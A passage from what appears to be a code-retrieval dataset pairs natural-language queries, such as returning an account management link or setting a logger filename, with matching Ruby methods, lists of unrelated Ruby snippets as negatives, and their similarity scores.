"def add2(other)\r\n raise TypeError, \"Bottle argument expected \" unless other.respond_to? :ounces\r\n Bottle.new(@label, @ounces+other.ounces)\r\n end",
"def add3(other)\r\n Bottle.new(@label, @ounces+other.ounces)\r\n # like \"catch\" for method not defined error\r\n rescue\r\n raise TypeError, \"Cannot add with an argument that doesn't have ounces\"\r\n end",
"def +(other)\n self.class.new(parent, raw_elements + other.raw_elements)\n end",
"def calculateStuff (a,b)\n yield a,b\nend",
"def method_args_test(a,b)\n a + b + yield\n end",
"def add2(other)\r\n\t\traise TypeError, \"Bottle argument expected \" unless other.respond_to? :ounces\r\n\t\tBottle.new(@label, @ounces+other.ounces)\t\r\n\tend",
"def add(*objects)\n objects.each do |object|\n @objects << object\n end\n self\n end",
"def +(other)\n `return self + other;`\n end",
"def +(other)\n `return self + other;`\n end",
"def yieldtwice\n puts \"Before first yield\"\n yield\n puts \"Before second yield\"\n yield\n puts \"After last yield\"\nend",
"def yieldtwice\n puts \"Before first yield\"\n yield\n puts \"Before second yield\"\n yield\n puts \"After last yield\"\nend",
"def each # And define each on top of next\n loop { yield self.next }\n end",
"def concat(other)\n contract.concat(other)\n end",
"def +(op2)\n op1 = self\n op1_acc = (op1.accumulated || [op1])\n op2_acc = (op2.accumulated || [op2])\n self.class.new.tap do |o|\n o.accumulated = op1_acc + op2_acc\n end\n end",
"def chain\n [self]\n end",
"def collect2( otherVector )\n\t\t\tary = []\n\t\t\t@elements.each_with_index {|elem, i| ary << yield(elem, otherVector[i]) }\n\t\t\tself.class.new( *ary )\n\t\tend",
"def add_next ret\n return if @next.nil?\n return if ret.include? @next\n ret << @next\n @next.reachable ret\n end",
"def add3(other)\r\n\t\tBottle.new(@label, @ounces+other.ounces)\t\r\n\t\t# like \"catch\" for method not defined error\r\n\t\trescue\r\n\t\t\traise TypeError, \"Cannot add with an argument that doesn't have ounces\"\r\n\tend",
"def pipe(other)\n Pipeline.new(@pipes + [other])\n end",
"def double_open(first, second)\n\topen(first) do |f1|\n\t\topen(second) do |f2|\n\t\t\tuntil f1.eof? or f2.eof?\n\t\t\t\tyield f1, f2\n\t\t\tend\n\t\tend\n\tend\nend",
"def add obj\n\t\t\t@objs2 += [obj] \n\t\tend",
"def triple_add(a, b, c)\n puts \"ADDING #{a} + #{b} + #{c}\"\n return a + b + c\nend",
"def *(other)\n result = @items * other\n case result\n when Array\n self.class.new.import(result)\n else\n result\n end\n end",
"def each_with_object(collection, object)\n collection.each { |item| yield(item, object) }\n object\nend",
"def &(second)\n @operations << AndOperationsGroup.new(tail_ops!(2))\n self\n end",
"def add_three n1, n2, n3\n return n1 + n2 + n3\nend",
"def |(other)\n other.inject(clone) do |copy, e|\n copy << e\n end\n end",
"def each # And define each on top of next\n loop {yield self.next }\n end",
"def btest2() yield [1, 2] end"
] |
[
"0.6419345",
"0.6123062",
"0.6085998",
"0.6056902",
"0.5845345",
"0.5796114",
"0.57396996",
"0.5693645",
"0.5690218",
"0.5675686",
"0.5597299",
"0.5582901",
"0.5566491",
"0.55307674",
"0.5477754",
"0.54752856",
"0.54752856",
"0.54437256",
"0.5441547",
"0.5423397",
"0.54213667",
"0.54213667",
"0.54213667",
"0.5372558",
"0.53523767",
"0.5337809",
"0.5337486",
"0.5329015",
"0.53127843",
"0.52921396",
"0.5289942",
"0.5284706",
"0.5281668",
"0.5278889",
"0.5275781",
"0.5270259",
"0.52627283",
"0.52533746",
"0.52409863",
"0.5239282",
"0.5235434",
"0.5231187",
"0.52310234",
"0.52256984",
"0.5219375",
"0.52184826",
"0.5214315",
"0.52130824",
"0.5208251",
"0.5195888",
"0.5192363",
"0.5187468",
"0.51833713",
"0.51796997",
"0.51595515",
"0.51595515",
"0.51484704",
"0.5147812",
"0.51351506",
"0.51298577",
"0.5128566",
"0.51266503",
"0.51123893",
"0.5101162",
"0.50948095",
"0.5083027",
"0.5082516",
"0.5081286",
"0.50667816",
"0.50657773",
"0.5064613",
"0.5063879",
"0.5062539",
"0.505736",
"0.50570995",
"0.50568396",
"0.50411695",
"0.5038585",
"0.50281096",
"0.5025339",
"0.5025339",
"0.50243723",
"0.50243723",
"0.50235516",
"0.5020337",
"0.5014463",
"0.50118715",
"0.5008405",
"0.5004906",
"0.5002719",
"0.49932778",
"0.49909115",
"0.49881482",
"0.49829933",
"0.4978756",
"0.49755466",
"0.49732867",
"0.49717507",
"0.49715817",
"0.4968314",
"0.49667153"
] |
0.0
|
-1
|
Returns a link to the current account management option create or show
|
def account_link
return link_to I18n.t('user.show'), user_path(current_user) if current_user?
link_to I18n.t('navigation.sign_up'), new_user_path
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def account_overview\n ::Liquid::Drops::Url.new(admin_account_path, 'Overview', '')\n end",
"def admin_link\n admin_app_url(:host => CONSTANTS[:base_url_host], :offering => offering, :id => self)\n end",
"def my_account_menu_link\n $tracer.trace(__method__)\n return ToolTag.new(a.className(create_ats_regex_string(\"account\")), __method__)\n end",
"def show\n set_account\n end",
"def create_new_acct_link\n $tracer.trace(__method__)\n return ToolTag.new(a.className(\"/ChildNavPaneTab/\").innerText(\"/Create New Account/\"), __method__)\n end",
"def options\n render \"devise/shared/_links\"\n end",
"def profile_settings_link\n $tracer.trace(__method__)\n return ToolTag.new(a.className(\"/edit-user-profile/\"), __method__)\n end",
"def manage_link\n \"<br />#{link_to(\"Manage #{@scaffold_plural_name.humanize.downcase}\", :action => \"manage#{@scaffold_suffix}\")}\" if @scaffold_methods.include?(:manage)\n end",
"def new\r\n jump_to(\"/profiles/#{session[:account_id]}/basic\")\r\n end",
"def buy_as_new_account_button\n $tracer.trace(__method__)\n return ToolTag.new(li.id('new_account_link').find.button, __method__, self)\n end",
"def manage_account\n if @user\n manage_account_menu\n else\n login\n manage_account_menu\n end\n end",
"def manage_account_button\n # unit_test_no_generate: manage_account_button, button.className(create_ats_regex_string(\"ats-manageacctbtn\"))\n $tracer.trace(__method__)\n return ToolTag.new(button.className(create_ats_regex_string(\"ats-manageacctbtn\")), __method__)\n end",
"def sign_up\n self.sign_up_link\n CreateNewAccount.new @browser\n end",
"def settings_link\n # TBD: test to see if we are signed in first\n link_to( \n \"#{iconify(:settings)} Settings\".html_safe,\n edit_person_registration_path, \n method: :get,\n 'class' => 'ui-btn-right' # force button to the right side of the header, leaving space for the back button\n )\n end",
"def show\n set_administrator\n end",
"def show\n owner(@account, @current_user.id) if !admin_signed_in?\n end",
"def manage_subscriptions_link\n return ToolTag.new(a.className(\"tab\").innerText(\"Manage Subscriptions\"), __method__)\n end",
"def scaffold_manage_link\n manage = \"manage#{@scaffold_suffix}\"\n \"<br />#{scaffold_link(\"Manage #{@scaffold_options[:plural_lc_human_name]}\", manage)}\" if scaffolded_method?(manage)\n end",
"def resource\n @current_page ||= Page.find_by_identifier(Page::Identifiers::ADMIN_HELP)\n end",
"def account_select_or_create(form, &_block)\n options = {}\n yield options if block_given?\n\n content_tag(:div, class: 'label') do\n t(:account).html_safe +\n content_tag(:span, id: 'account_create_title') do\n \" (#{t :create_new} #{t :or} <a href='#' onclick='crm.show_select_account(); return false;'>#{t :select_existing}</a>):\".html_safe\n end +\n content_tag(:span, id: 'account_select_title') do\n \" (<a href='#' onclick='crm.show_create_account(); return false;'>#{t :create_new}</a> #{t :or} #{t :select_existing}):\".html_safe\n end +\n content_tag(:span, ':', id: 'account_disabled_title')\n end +\n account_select(options) +\n form.text_field(:name, style: 'width:324px; display:none;')\n end",
"def new\n @account = current_user.accounts.build\n @help = \"New Account\"\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @account }\n end\n end",
"def account\n @user = current_user\n add_breadcrumb @user.name, :backend_account_path\n\n render :show\n end",
"def new\n @account = current_user.accounts.new\n end",
"def show\n @account = current_account\n end",
"def my_account_url\n get_institution_or_default(:eshelf_url) + '/account'\n end",
"def apphelp_protected_button_to( action, options_for_link, options_for_url = nil )\n apphelp_protected_buttons_to(\n [ action, options_for_link, options_for_url ]\n )\n end",
"def account_url\n return new_user_session_url unless user_signed_in?\n return :user_dashboard_url\n end",
"def show\r\n jump_to(\"/profiles/#{session[:account_id]}/basic\")\r\n end",
"def resource_name\n :account\n end",
"def account_with_url_for(contact)\n contact.account ? link_to(h(contact.account.name), account_path(contact.account)) : \"\"\n end",
"def new\n @option = Vger::Resources::Mrf::Option.new\n respond_to do |format|\n format.html\n end\n end",
"def link_to_form(purpose, options = {}, html_options = nil)\n icon = case purpose\n when :new then 'add'\n when :edit then 'pencil'\n when :delete then 'cross' # TODO: delete should be a button, not a link\n when :cancel then 'arrow_undo'\n end\n if options.kind_of? String\n url = options\n else\n url = options.delete :url\n label = options.delete :label\n end\n label ||= purpose.to_s.capitalize\n legend = ( icon.nil? ?\n '' :\n \"<img src='/images/icons/#{icon}.png' alt=''></img> \" ) + label\n \n '<div class=\"buttons\">' +\n link_to(legend, (url || options), html_options) +\n '</div>'\n end",
"def account_link\n UserMailer.account_link\n end",
"def crud_link_text(options, action)\n action_str = action.to_s.downcase\n\n # match the action to an icon\n bootstrap_icon = crud_link_icon(action, options)\n\n if bootstrap_icon.present?\n icon = \"<i class='#{bootstrap_icon}'></i>\"\n else\n icon = ''\n end\n\n # default link text for common CRUD actions/aliases\n case true\n when %w(new create).include?(action_str) then default_link_text = 'Add'\n when %w(update edit).include?(action_str) then default_link_text = 'Edit'\n when %w(show view).include?(action_str) then default_link_text = 'View'\n when %w(delete destroy).include?(action_str) then default_link_text = 'Delete'\n when %w(back).include?(action_str) then default_link_text = 'Back'\n end\n\n # Use the options link_text value if it exists;\n # otherwise use our link_text determined by the action name\n if options.keys.include?(:link_text)\n link_text = \"#{icon} #{options[:link_text]}\".html_safe\n else\n link_text = \"#{icon} #{default_link_text}\".html_safe\n end\n\n link_text\n end",
"def admin_link\n # @subdomain = request.subdomain\n # @site = Site.where(subdomain: request.subdomain).first.user_id\n # @user = User.where(id: @site).first\n if user_signed_in? && @user.id == current_user.id\n html = '<li>' + (link_to '<i class=\"fa fa-cog\"></i> Admin'.html_safe, dashboard_path, target: \"_blank\") + '</li>'\n html.html_safe\n end\n end",
"def admin_form_url\n ['', controller_path, object_instance.id].join('/')\n end",
"def authorized_only_link_to(obj, name, options = {}, html_options = nil)\n if obj.collaborable? || obj.user == current_user\n \" | \" + link_to(name, options, html_options)\n else\n \"\" #link_to_function name, '권한이 없습니다.'\n end\n end",
"def email_support_link\n select_list.a(:name => \"email-support\")\n # text: Email Support\n end",
"def membership_admin_link\n $tracer.trace(__method__)\n return ToolTag.new(a.href(\"/Membership/membersearch.aspx/\"), __method__)\n end",
"def join_now_button\n $tracer.trace(__method__)\n return ToolTag.new(a.id(\"/ctl00_content_ctl00_fragment_17442_ctl01_ctl00_ctl00_ctl05_CreateAccount/\"), __method__)\n end",
"def go_to_admin_page\n user_name.click\n admin_link.click\n end",
"def new\n @option = Vger::Resources::Suitability::Option.new\n respond_to do |format|\n format.html\n end\n end",
"def profile_route\n \"/organization/#{self.id}\"\n end",
"def create_account_options\n AccountOption.create!(:user => self)\n end",
"def account\n\n end",
"def account\n get('account')\n end",
"def generate_link\n 'autologin/'+code\n end",
"def link_account_click\n link_account_button.click\n end",
"def show\n authorize AccountingEntry\n end",
"def user_subscription_lnk plan\n current_subscription = current_user.current_subscription(plan.plan_type.downcase)\n if plan.marketing?\n walkin_subscription = current_user.subscriptions.walkin.last\n if walkin_subscription.nil?\n return link_to \"SUBSCRIBE\",\"javascript:void(0);\",class: \"btn btn-primary btn-xl walkin_subscribe_modal_lnk\"\n end\n end\n if current_subscription.present?\n current_plan = current_subscription.plan\n if Plan.match_plan?(current_plan,plan)\n link_to \"CURRENT\",\"javascript:void(0);\",class: \"btn btn-default btn-xl\"\n else\n if Plan.downgrade?(current_plan,plan)\n link_to \"DOWNGRADE\",\"javascript:void(0);\",lnk: subscription_path(id: current_subscription.id,plan_id: plan.id,source: 'pricing'),method: :put,plan_id: plan.id,class: \"btn btn-primary btn-xl subscription_lnk\"\n else\n link_to \"UPGRADE\",\"javascript:void(0);\",lnk: subscription_path(id: current_subscription.id,plan_id: plan.id,source: 'pricing'),method: :put,plan_id: plan.id,class: \"btn btn-primary btn-xl subscription_lnk\"\n end\n end\n else\n if current_user.stripe_customer_id.blank?\n link_to \"SUBSCRIBE\",new_subscription_path(plan_id: plan.stripe_id),plan_id: plan.id,class: \"btn btn-primary btn-xl\"\n else\n link_to \"SUBSCRIBE\",\"javascript:void(0);\",lnk: subscriptions_path(plan_id: plan.id,source: \"pricing\"),method: :post,plan_id: plan.id,class: \"btn btn-primary btn-xl subscription_lnk\"\n end\n end\n end",
"def show \n if current_user_pending?\n redirect_to edit_administrator_path(@administrator)\n end\n end",
"def order_info_link\n h.link_to 'Информация о заказе', h.admin_order_path(order.id)\n end",
"def tenant_name\n url_shortcut\n end",
"def url\n if @account.url.blank?\n \"/\"\n else\n @account.url\n end\n end",
"def manage_reservation_button( current_user )\n if ( TeamManagerValidator.is_reservation_manageable?( object ) &&\n ( TeamManagerValidator.can_manage?( current_user, object ) || \n TeamManagerValidator.any_reservations_for?( current_user, object )))\n h.link_to(\n I18n.t('meeting_reservation.manage_button_title'),\n meeting_reservations_edit_events_path(id: object.id),\n { class: 'btn btn-default btn-xs', 'data-toggle'=>'tooltip',\n 'title'=>I18n.t('meeting_reservation.manage_meeting_tooltip') }\n )\n else\n ''\n end\n end",
"def account_details_next_step\n return STEPS if AccountType.individual?(@account.account_type)\n\n accounts_registration_user_details_path\n end",
"def edit\r\n jump_to(\"/profiles/#{session[:account_id]}/basic\")\r\n end",
"def options\n\t\tcms = Member.current_cms\n\t officers = Member.current_chairs\n\tend",
"def options\n\t\tcms = Member.current_cms\n\t officers = Member.current_chairs\n\tend",
"def handle_menu\n values = {\n \"change_pw_url\" => url(:handle_change_pw),\n \"update_det_url\" => url(:handle_update_details)\n }\n standard_page(\"Maintain My Account\",\n values,\n Login::UPDATE_MENU)\n end",
"def modal_create_account_button\n $tracer.trace(format_method(__method__))\n return ToolTag.new(@tag.find.a.className(create_ats_regex_string(\"btn_negative\")), format_method(__method__))\n end",
"def base_path\n super.concat '/account_plans'\n end",
"def show\n redirect_to account_details_home_path(id: @account) and return\n end",
"def link_to_sign_up()\n link_to('Cadastrar-se', new_user_registration_path) unless user_signed_in?\n end",
"def select_company_to_create_admin\n \n \n @companies = Company.all\n \n add_breadcrumb \"Select company\", 'select_company_to_create_admin_path'\n end",
"def show\n authorize @s_tool\n set_return_to\n @return_to = get_return_to_or_default s_tools_url\n end",
"def payment_url\n DmEvent::Engine.routes.url_helpers.register_choose_payment_url(uuid, host: Account.current.url_host, locale: I18n.locale)\n end",
"def tab_to(name, all_options = nil)\n url = all_options.is_a?(Array) ? all_options[0].merge({:only_path => false}) : \"#\"\n \n current_url = url_for(:action => @current_action, :only_path => false)\n link_current = \"\"\n \n if all_options.is_a?(Array)\n all_options.each do |o|\n if url_for(o.merge({:only_path => false})) == current_url\n link_current = \"select\"\n break\n end\n end\n end\n \n raw \"<li class='#{link_current}' >\" + link_to(raw(\"<span>\" + name + \"</span>\"), url, {}) + \"</li>\"\n end",
"def build_authorization_link\n @oauth.auth_code.authorize_url(\n redirect_uri: @redirect_uri,\n scope: 'read_write',\n initial_view: 'signup'\n )\n end",
"def account_for_next_step\n return accounts_registration_taxes_path if AccountType.individual?(@account.account_type)\n\n return accounts_registration_company_path unless AccountType.registered_organisation?(@account.account_type)\n\n accounts_registration_company_registered_path\n end",
"def show\n redirect_to :action =>\"options\"\n end",
"def perform\n get admin_buyers_accounts_path\n end",
"def path\n ['cloud-service-auth', 'accounts', @id].join('/')\n end",
"def adm_create_acct_button\n $tracer.trace(__method__)\n return ToolTag.new(input.id(\"/ctl00_ctl00_ctl00_OuterTaskRegion_TaskRegion_TaskRegion_TaskRegion_createButton/\"), __method__)\n end",
"def link_to_user(user, options={})\r\n (user) ? link_to(user.name, :controller => 'account', :action => 'show', :id => user) : 'Anonymous'\r\n end",
"def uplink_settings\r\n UplinkSettingsController.instance\r\n end",
"def account_details\n wizard_step(STEPS) { { next_step: :account_details_next_step } }\n end",
"def show_create_new_item(controller_name)\n if controller_name.match('/')\n object = controller_name.split('/')\n path = \"#{object[1]}/new\"\n puts path\n else\n object = controller_name\n path = \"#{object}/new\"\n puts path\n end\n\n if controller_name.match('setting')\n #unless page type of users\n unless controller_name.split('/')[1] == \"type_of_users\" || controller_name.split('/')[1] == \"user_logs\"\n if can? :create, controller_name.split('/')[1].singularize.to_sym\n str = \"<div class='pull-right'>\"\n str += link_to \"<i class='icon-plus'> </i> Create\".html_safe, path, :class => 'btn btn-small btn-info'\n str +=\"</div>\"\n end\n end\n else\n if controller_name.match(\"payment_vouchers\")\n if params[:action] == \"index\" && can?(:create , controller_name.singularize.to_sym)\n str = \"<div class='pull-right'>\"\n str += link_to \"<i class='icon-plus'> </i> Generate Payment Voucher\".html_safe, path, :class => 'btn btn-small btn-info'\n str +=\"</div>\"\n end\n elsif (controller_name == \"payments\" && params[:action] == \"index\") && can?(:create, controller_name.singularize.to_sym)\n str = \"<div class='pull-right'>\"\n str += link_to \"<i class='icon-plus'> </i> Create Payment\".html_safe, path, :class => 'btn btn-small btn-info'\n str +=\"</div>\"\n end\n end\n return raw(str)\n end",
"def set_account\n @account = current_user.accounts.friendly.find(params[:id])\n end",
"def show\n @user = current_user\n @title = \"Account and Notification Settings\"\n end",
"def link_to_user(user, options={})\n if (User.current.admin || User.current.allowed_to?(:view_profiles, @project, :global => true)) && user.is_a?(User)\n name = h(user.name(options[:format]))\n if user.active?\n link_to name, :controller => 'users', :action => 'show', :id => user\n else\n name\n end\n else\n h(user.to_s)\n end\n end",
"def get_action_link\n if controller_path == 'admin/articles'\n case action_name\n when 'index' then t('buttons/all_articles').html_safe\n when 'new' then t('buttons/new_article').html_safe\n when 'edit' then t('buttons/edit_article').html_safe\n when 'show' then t('buttons/preview').html_safe\n end\n elsif controller_path == 'admin/authors'\n case action_name\n when 'index' then t('buttons/all_authors').html_safe\n when 'new' then t('buttons/new_author').html_safe\n when 'edit' then t('buttons/edit_author').html_safe\n when 'show' then t('buttons/author').html_safe\n end\n end\n end",
"def account\n self\n end",
"def my_account(user)\n router = nil\n message = []\n # base options\n options = [\n [\"Change Name\", 12],\n [\"Delete Account\", 7],\n [\"Log Out\", 4],\n [\"Main Menu\", 2],\n [\"Exit\", 1]\n ]\n # display loop until validated choice\n until router\n display_menu_header([\"My Account:\"], user)\n router = display_options_menu(options, message)\n message = [\"Sorry, invalid selection. Please choose again...\"]\n end\n menu_routing(user, \"\", router)\nend",
"def current_account\n @current_account\n end",
"def account\n @account = current_account_settings\n end",
"def click_new_profile\n click_link('Create a profile')\n end",
"def useradd_options\n opts = []\n opts << \"-m\" if new_resource.manage_home\n opts\n end",
"def show\n is_admin?\n end",
"def display_link_if_authorized(name, options = {}, html_options = {})\n enable_link = html_options.has_key?(:disabled) ? !html_options[:disabled] : true\n if enable_link and authorized_for(options)\n link_to(name, options, html_options)\n else\n \"\"\n end\n end",
"def account_info(options = {})\n request :account, :get, 'account', options\n end",
"def home_chooser(current_user)\n if(current_user.nil?) then\n link_to \"Home\",root_url\n else\n if(current_user.role==\"admin\") then\n link_to \"Home\",user_admin_path(:user_id=>current_user.id,:id=>current_user.admin.id)\n elsif(current_user.role==\"company\") then\n if(current_user.company.nil?) then\n link_to \"Home\",new_user_company_path(:user_id=>current_user.id)\n else\n link_to \"Home\",user_company_path(:user_id=>current_user.id,:id=>current_user.company.id)\n end\n else\n if(current_user.applicant.nil?)then\n link_to \"Home\",new_user_applicant_path(:user_id=>current_user.id) \n else\n link_to \"Home\",user_applicant_path(:user_id=>current_user.id,:id=>current_user.applicant.id) \n end\n end\n end\n end",
"def aa_form\n active_admin_form\n end",
"def after_sign_up_path_for(_resource)\n plans_path\n end",
"def main_menu_link; MAIN_MENU_LINK; end",
"def linkbutton\n config[\"linkbutton\"]\n end",
"def get_account_and_display(client, options)\n account = get_account(client, options)\n if !account.nil?\n print_account(account)\n else\n puts \"Account not found.\"\n return\n end\nend",
"def new\n @account = current_user.accounts.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @account }\n end\n end",
"def cc_payment_option\n\t\t$tracer.trace(__method__)\n\t\treturn ToolTag.new(section.id(\"payment_options\").find.p.id(\"/creditcardselected/\"), __method__, self)\n\tend",
"def account_home_page_url(account)\n \"http://#{account.short_name}.#{account_domain}\"\n end"
] |
[
"0.62164557",
"0.6179073",
"0.6126623",
"0.60785884",
"0.6069009",
"0.6066393",
"0.60123086",
"0.59928316",
"0.5979095",
"0.59702754",
"0.59482783",
"0.5910333",
"0.5909117",
"0.58749294",
"0.5813938",
"0.58120346",
"0.57899845",
"0.5786126",
"0.5779666",
"0.57669145",
"0.5745426",
"0.57380587",
"0.5687573",
"0.5670485",
"0.56657",
"0.56439203",
"0.5642831",
"0.56273264",
"0.5622727",
"0.558655",
"0.5585989",
"0.5582194",
"0.5580236",
"0.5563108",
"0.5553561",
"0.5533996",
"0.5532905",
"0.55210435",
"0.5503597",
"0.54998666",
"0.5494156",
"0.5491888",
"0.5471289",
"0.5462238",
"0.5451548",
"0.54492646",
"0.5446777",
"0.5431747",
"0.5426849",
"0.54254794",
"0.54109335",
"0.54103786",
"0.5409217",
"0.54071295",
"0.5400079",
"0.53971916",
"0.5392606",
"0.53901535",
"0.53901535",
"0.53821254",
"0.53742594",
"0.537391",
"0.53677696",
"0.5364902",
"0.5362154",
"0.5357179",
"0.5355415",
"0.53547174",
"0.53463876",
"0.533973",
"0.53369987",
"0.53293806",
"0.53243035",
"0.53234744",
"0.5321314",
"0.53159684",
"0.5313153",
"0.5312937",
"0.53111094",
"0.5309971",
"0.53051656",
"0.53008485",
"0.52902",
"0.5287374",
"0.5286768",
"0.5281878",
"0.5278057",
"0.5277738",
"0.5271353",
"0.52679807",
"0.5267666",
"0.52611566",
"0.52604973",
"0.5259304",
"0.52587515",
"0.52558786",
"0.52518135",
"0.5247909",
"0.5246855",
"0.52460074"
] |
0.65996224
|
0
|
filename of the logger
|
def logger_filename=(filename)
$logger_filename = filename
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def logger_filename\n \"#{cm_cfg_path}/logs/configmonkey.log\"\n end",
"def log_file\n end",
"def log_file; end",
"def log_file_name\n @component_name\n end",
"def log\n \"#{self.dir}.log\"\n end",
"def log_filename\n log_file.nil? || log_file.empty? || log_file == '-' ? nil : log_file\n end",
"def log_filename\n date_str = `date +%d%b%Y`[0..-2]\n LOG_DIR + \"Log#{date_str}.log\"\nend",
"def log_file(id)\n \"#{log_file_directory}/#{log_file_name(id)}\"\n end",
"def self_log_file\n return File.join(File.dirname(__FILE__), 'sshsurveyor.log')\n end",
"def log_full_pathname( data_import_session )\n # Memo-ize the filename the first time this is called:\n @log_filename ||= File.join( Rails.root, 'log', \"#{ get_log_basename(data_import_session) }#{ get_log_extension(data_import_session) }\" )\n end",
"def log_file\n Vedeu::Configuration.log\n end",
"def log_file\n @hash[\"LogFile\"]\n end",
"def log_file\n return @log_file\n end",
"def log_file\n get_value :logfile\n end",
"def log_path(name, log_dir)\n # TODO ?\n end",
"def logName(fullPath); \"#{fullPath.chomp(File.extname(fullPath))}.log\" end",
"def set_filename(filename, shift_age=7, shift_size=1048576)\n logger = Logger.new(filename, shift_age, shift_size)\n logger.level = @logger.level\n logger.formatter = @logger.formatter\n @logger = logger\n end",
"def create_log_file_path\r\n log_dir = File.join(SAF::LOG, File.dirname(test_path))\r\n log_file_pre = File.join(log_dir,\r\n File.basename(test_path, \".*\"))\r\n \"#{log_file_pre}_#{Time.now.strftime('%Y%m%d_%H%M%S')}.log\"\r\n end",
"def default_log_file_name\n @options['log_file_name'] || \"#{@name}.log\"\n end",
"def log_file\n File.join(FileUtils.pwd, 'log', \"sunspot-solr.log\")\n end",
"def set_log_file(filename)\n\t @logfile = RequestStore.LOGS_PATH + filename\n\tend",
"def set_log_file(filename)\n\t @logfile = RequestStore.LOGS_PATH + filename\n\tend",
"def log_file\n factorio.server.log_file\n end",
"def log_file\n File.join(::Rails.root, 'log', \"sunspot-solr-#{::Rails.env}.log\")\n end",
"def log_file_name\n\t\tdt = Time.now\n\n\t\tdstr = sprintf(\"%.4d%.2d%.2d\", dt.year, dt.mon, dt.mday)\n\t\trhost = (tunnel_peer || 'unknown').split(':')[0]\n\n\t\t\"#{dstr}_#{rhost}_#{type}\"\n\tend",
"def log_file_name\n\t\tdt = Time.now\n\n\t\tdstr = sprintf(\"%.4d%.2d%.2d\", dt.year, dt.mon, dt.mday)\n\t\trhost = (tunnel_peer || 'unknown').split(':')[0]\n\n\t\t\"#{dstr}_#{rhost}_#{type}\"\n\tend",
"def runlog_thread_filename(name)\n @filename + '-' + name.to_s\n end",
"def log_file\n File.join(Dir.pwd, 'log', \"sunspot-solr-#{ENV['RACK_ENV']}.log\")\n end",
"def log\n @log ||= Logging.logger[File.basename($0)]\n end",
"def log_file_name\n @task_id == 'test_runner' ? \"#{@test_name}\" : @task_id\n end",
"def logFile\n\t\tlogDir = self.setting(\"postgres:log_directory\", LOG_DIR)\n\t\tlogFile = self.setting(\"postgres:log_filename\", LOG_FILE)\n\t\t$log.debug(\"Service log file is #{logDir}/#{logFile}\")\n\t\treturn \"#{logDir}/#{logFile}\"\n\tend",
"def log(msg)\n @script = File.basename $0 \n logfile = $config[\"settings\"][\"log_directory\"] + \"/#{@script}.log\"\n if $config[\"settings\"][\"log_file\"]\n File.open(logfile, 'a') do |file|\n now = Time.new.strftime(\"%Y-%m-%d %H:%M:%S\")\n file.puts \"#{@script} #{now} -> #{msg}\"\n end\n end\n puts \"#{@script} -> #{msg}\"\nend",
"def filename\n \"journald\"\n end",
"def setupLog(fileName)\n\t# Setting up logging feature\n\tlogFile = File.open(fileName, 'w')\n\tlog = Logger.new(logFile)\n\tlog.formatter = proc do |severity, datetime, progname, msg|\n\t Time.now.asctime + \":: #{msg}\\n\"\n\tend\n\treturn log\nend",
"def log_file\n @log_file ||= @options[:log_file] ? File.expand_path(@options[:log_file]) : File.join(Rails.root, 'log', \"#{rails_environment}.log\")\n end",
"def log_file_path\n rails_root + \"/log/redis.log\"\n end",
"def log_file(log_path = nil)\n # Get hostname\n host = session.sys.config.sysinfo[\"Computer\"]\n\n # Create Filename info to be appended to downloaded files\n filenameinfo = \"_\" + ::Time.now.strftime(\"%Y%m%d.%M%S\")\n\n # Create a directory for the logs\n logs = if log_path\n ::File.join(log_path, 'logs', 'persistence', Rex::FileUtils.clean_path(host + filenameinfo))\n else\n ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo))\n end\n\n # Create the log directory\n ::FileUtils.mkdir_p(logs)\n\n # logfile name\n logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + \".rc\"\n logfile\n end",
"def path_log\n @path_log ||= File.join(folder, 'log.txt')\n end",
"def log(filename = '')\n options[:log] = filename\n end",
"def log_file\n if Merb::Config[:log_file]\n Merb::Config[:log_file]\n elsif Merb.testing?\n log_path / \"merb_test.log\"\n elsif !(Merb::Config[:daemonize] || Merb::Config[:cluster])\n STDOUT\n else\n log_path / \"merb.#{Merb::Config[:port]}.log\"\n end\n end",
"def log_file\n @log_file ||= (user_configuration_from_key('solr', 'log_file') || default_log_file_location )\n end",
"def report_filename_for(title, variant=nil)\n return File.join(@reports_dir, \"#{title}#{variant ? '_'+variant.to_s : ''}_with_#{@tag}.log\")\n end",
"def log2file(filename = File.basename($0) + '.todo', level = Log4r::ALL)\r\n @logger.add( Log4r::FileOutputter.new('ToDo', \r\n :filename => filename,\r\n :level => level,\r\n :formatter => FixmeFormatter \r\n ))\r\n \r\n end",
"def log_file_creation()\n\tcurrent_path = File.dirname(File.realpath(__FILE__))\n\t$csv_path = \"#{current_path}/Attachments.csv\"\n\tif !File.directory?(\"#{current_path}/logs\")\n\t\tFileUtils.mkdir_p \"#{current_path}/logs\"\n\tend\n\t$log_path = \"#{current_path}/logs/jira-attachment-upload.txt\"\n\t$log = Logger.new(\"#{current_path}/logs/jira-attachment-upload.txt\", 'daily')\nend",
"def filename\n @filename ||= \"#{ @component.name }-#{(t=Time.now).to_i}-#{t.usec}.yaml\"\n end",
"def log_file\n File.dirname(__FILE__)+\"/../../log/#{Rails.env}_statsd.log\"\n end",
"def log_writer; end",
"def create_file_appender\n pattern = @config_manager['logging.file.pattern']\n date_pattern = @config_manager['logging.file.date_pattern']\n layout = Logging::Layouts::Pattern.new(pattern: pattern, date_pattern: date_pattern)\n #\n run_result_directory = @config_manager['run.result.directory']\n log_file = \"#{run_result_directory}/#{log_file_name}.log\"\n @appender = Logging::Appenders::File.new('file', filename: log_file, layout: layout)\n #\n Logging::Logger.root.add_appenders(@appender)\n end",
"def log_path\n @_log ||= ::File.join('log', \"#{ENV.fetch('RACK_ENV')}.log\")\n\n ENV.fetch('LOG_FILE', @_log)\n end",
"def my_application_log_name\n \"projects/#{@project_id}/logs/my_application_log\"\n end",
"def default_log_file_location\n File.join(::Rails.root, 'log', \"solr_\" + ::Rails.env + \".log\")\n end",
"def runlog_filename(name=nil)\n if @filename\n if Thread.main == Thread.current\n @filename\n elsif Thread.current[:logfile_name]\n Thread.current[:logfile_name]\n elsif name \n Thread.current[:logfile_name] = runlog_thread_filename(name)\n Thread.current[:logfile_name]\n else \n raise 'Logfile name not defined in thread. Expecting name parameter to be passed in.'\n end\n end\n end",
